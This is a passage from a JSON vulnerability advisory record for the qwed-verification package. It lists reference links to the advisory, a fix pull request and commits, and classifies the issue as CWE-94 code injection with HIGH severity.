    "url" : "https://github.com/QWED-AI/qwed-verification/security/advisories/GHSA-q27q-98j4-9pfv"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/QWED-AI/qwed-verification/pull/200"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/QWED-AI/qwed-verification/commit/6066b68c0c4f4cc2c3771824822aaa864d082ef8"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/QWED-AI/qwed-verification/commit/dc9d4db72ca4b4ae3f96d0e6a0c27a9e38a06f61"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/QWED-AI/qwed-verification"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-94" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-08-25T16:25:19Z",
    "nvd_published_at" : null
  }
}